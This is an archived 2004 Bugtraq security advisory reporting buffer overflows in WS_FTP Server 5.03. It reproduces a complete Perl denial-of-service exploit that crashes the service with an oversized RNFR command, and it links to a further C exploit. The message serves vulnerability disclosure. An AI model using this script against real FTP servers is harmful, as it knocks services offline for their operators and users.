lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20041129233721.9074.qmail@www.securityfocus.com> Date: 29 Nov 2004 23:37:21 -0000 From: Reed Arvin <reedarvin@...il.com> To: bugtraq@...urityfocus.com Subject: Multiple buffer overlows in WS_FTP Server Version 5.03, 2004.10.14. Summary: Multiple buffer overflows exists in WS_FTP Server Version 5.03, 2004.10.14 (http://www.ipswitch.com/). Details: Multiple buffer overflows exist in WS_FTP Server Version 5.03, 2004.10.14. There are four vulnerable commands that can be used to cause these buffer overflows. Three of the vulnerable commands can be used to stop the WS_FTP Server service resulting in a denial of service. The vulnerable commands are SITE, XMKD, MKD, and RNFR. Vulnerable Versions: WS_FTP Server Version 5.03, 2004.10.14 Solutions: The vendor was notified of the issue. There was no response. Exploit: http://noph0bia.lostspirits.org/Exploits/IPSWSFTP-exploit.c (Thanks to NoPh0bia noph0bia[at]lostspirits[dot]org) #===== Start WS_FTP_Overflow.pl ===== # # Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass> # WS_FTP_Overflow.pl 127.0.0.1 hello moto # # WS_FTP Server Version 5.03, 2004.10.14 # # Download: # http://www.ipswitch.com/ # ##################################################### use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { print "Attempting to kill WS_FTP Server service at $ARGV[0]:21..."; sleep(1); print $socket "USER $ARGV[1]\r\n"; sleep(1); print $socket "PASS $ARGV[2]\r\n"; sleep(1); print $socket "PORT 127,0,0,1,18,12\r\n"; sleep(1); print $socket "RNFR " . "A" x 768 . "\r\n"; close($socket); sleep(1); if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { close($socket); print "failed!\n"; } else { print "successful!\n"; } } else { print "Cannot connect to $ARGV[0]:21\n"; } #===== End WS_FTP_Overflow.pl ===== Discovered by Reed Arvin reedarvin[at]gmail[dot]com Exploit assistance from NoPh0bia noph0bia[at]lostspirits[dot]org
Powered by blists - more mailing lists